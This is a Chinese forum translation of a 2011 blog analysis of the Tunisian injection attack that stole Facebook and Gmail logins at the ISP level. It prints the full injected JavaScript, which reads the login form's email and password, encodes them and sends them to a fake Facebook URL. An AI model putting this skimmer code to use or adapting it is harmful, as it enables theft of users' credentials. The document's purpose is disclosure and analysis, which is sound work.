-
-
[翻译]每周译闻——窃取你网络密码的代码
-
2011-2-25 15:15
6742
-
原帖地址:http://blog.jgc.org/2011/01/code-injected-to-steal-passwords-in.html
发生在突尼斯的事件,用户访问facebook和google mail时会被窃取账号密码,很多人的不同网站的账号密码都是使用同一个,一旦一个丢掉那很有可能带来灭顶之灾。不知道我们国家的淫淫网做的怎么样。
突尼斯盗取密码的注入代码
网上传了几个星期了,但是我终于看到了突尼斯的某人(假设是政府)是从大网站比如Google Mail和Facebook如何窃取用户名和密码的。
攻击过程如下:
1、 用户访问Facebook时,Javascript脚本会被注入到页面中用户输入用户名和密码的位置。Facebook上这些页面是通过HTTP提供的,所以如果你能在ISP(Internet Service Provider)层截获的话注入是完全可能的。真实的用户名和密码通过HTTPS发送,而一旦JavaScript注入了就完蛋了。
2、 登录表单本身被修改包含了一个提交处理器来调用Javascript函数hAAAQ3d(读作hacked)。那个函数读取用户名和密码并提交一个HTTP调用给一个假的Facebook页面。这个页面(名叫wo0dh3ad,我想你可以读作woodhead榆木脑袋)把用户名和密码附加上一些代码作为参数来使URL安全。
3、 某地的某个人读取这些URL来抽取用户名和密码。然后可以通过一个日志文件,或者一个防火墙配置过滤这些请求来让用户永远上不了Facebook。
我已经把代码贴在了下面,主要的函数是hAAAQ3d,r5t(产生一个随机的字符串添加到发送用户名和密码的请求URL中)和h6h(我读作hash,它把用户名和密码转换为能在一个URL中安全传送的小写字符串)。
还有助手函数inv0k(1,2,3)(我读作invoke恳求),它产生真正的HTTP请求。两个用于不同的浏览器类型而第三个没有用到,但它做的是修改一个注入图像标签tag来获取用来发送用户名/密码的同一个URL。
function h6h(st)
{
var st2="";
for ( i = 0; i < st.length; i++ ) {
c = st.charCodeAt(i);
ch = (c & 0xF0) >> 4;
cl = c & 0x0F;
st2 = st2 + String.fromCharCode( ch + 97 ) +
String.fromCharCode( cl + 97 );
}
return st2;
}
function r5t(len)
{
var st = "";
for ( i = 0; i < len; i++ )
st = st + String.fromCharCode( Math.floor( Math.random( 1 ) * 26 + 97 ) );
return st;
}
function hAAAQ3d()
{
var frm = document.getElementById( "login_form" );
var us3r = frm.email.value;
var pa55 = frm.pass.value;
var url = "http://www.facebook.com/wo0dh3ad?q=" + r5t( 5 ) +
"&u=" + h6h( us3r ) + "&p=" + h6h( pa55 );
var bnm = navigator.appName;
if ( bnm == 'Microsoft Internet Explorer' )
inv0k3(url);
else
inv0k2(url);
}
function inv0k1(url)
{
var objhq = document.getElementById("x6y7z8");
objhq.src = url;
}
function inv0k2(url)
{
var xr = new XMLHttpRequest();
xr.open("GET", url, false);
xr.send("");
}
function inv0k3(url)
{
var xr = new ActiveXObject('Microsoft.XMLHTTP');
xr.open("GET", url, false);
xr.send("");
}
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法